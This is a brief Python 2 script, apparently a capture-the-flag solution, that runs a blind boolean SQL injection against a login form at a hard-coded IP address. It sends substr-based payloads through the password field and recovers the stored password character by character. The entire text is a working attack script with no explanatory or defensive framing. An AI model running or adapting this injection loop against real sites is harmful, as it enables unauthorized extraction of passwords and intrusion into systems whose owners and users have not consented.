#!/usr/bin/python import requests r = requests.get('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php') cookie = r.cookies tries = 120 for pos in range(1,31): for i in range(97,123): char = chr(i) payload = {'password': "' or '1'='1' and substr(password, " + str(pos) + ", 1)='" + char} r = requests.post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php', cookies=cookie, data=payload) tries -= 1 if r.text == "True": print "Pos " + str(pos) + ": " + char + " (" + str(tries) + " tries left)" continue